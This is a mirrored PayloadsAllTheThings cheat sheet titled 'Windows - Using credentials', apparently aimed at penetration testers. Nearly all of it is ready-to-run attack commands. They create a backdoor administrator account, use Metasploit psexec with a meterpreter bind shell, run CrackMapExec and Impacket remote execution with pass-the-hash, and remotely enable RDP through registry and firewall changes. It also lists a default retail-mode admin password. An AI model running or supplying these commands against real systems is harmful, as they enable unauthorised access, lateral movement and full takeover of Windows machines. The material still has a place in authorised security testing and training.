mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-29 07:45:26 +00:00
3.6 KiB
3.6 KiB
Windows - Using credentials
TIP 1 - Create your credential :D
net user hacker hacker /add
net localgroup administrators hacker /add
Some info about your user
net user /dom
net user /domain
TIP 2 - Retail Credential @m8urnett on Twitter
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
Username: RetailAdmin
Password: trs10
Metasploit - SMB
use auxiliary/scanner/smb/smb_login
set SMBDomain CSCOU
set SMBUser jarrieta
set SMBPass nastyCutt3r
services -p 445 -R
run
creds
Metasploit - Psexec
Note: the password can be replaced by a hash to execute a pass the hash
attack.
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
Crackmapexec (Integrated to Kali)
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r
python crackmapexec.py 10.9.122.5 -d CSCOU -u jarrieta -p nastyCutt3r -x whoami
Crackmapexec (Pass The Hash)
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
Winexe (Integrated to Kali)
winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe
Psexec.py / Smbexec.py / Wmiexec.py (Impacket)
git clone https://github.com/CoreSecurity/impacket.git
python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python smbexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
RDP Remote Desktop Protocol (Impacket)
python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5
Note: you may need to enable it with the following command
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
or with psexec(sysinternals)
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
or with crackmapexec
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
For Server 2012 R2, Win8.1+
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:192.168.1.12
with Metasploit
run getgui -u admin -p 1234
Netuse (Windows)
net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r
C$
Runas (Windows - Kerberos auth)
runas /netonly /user:CSCOU\jarrieta "cmd.exe"
PsExec (Windows - Sysinternal )
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell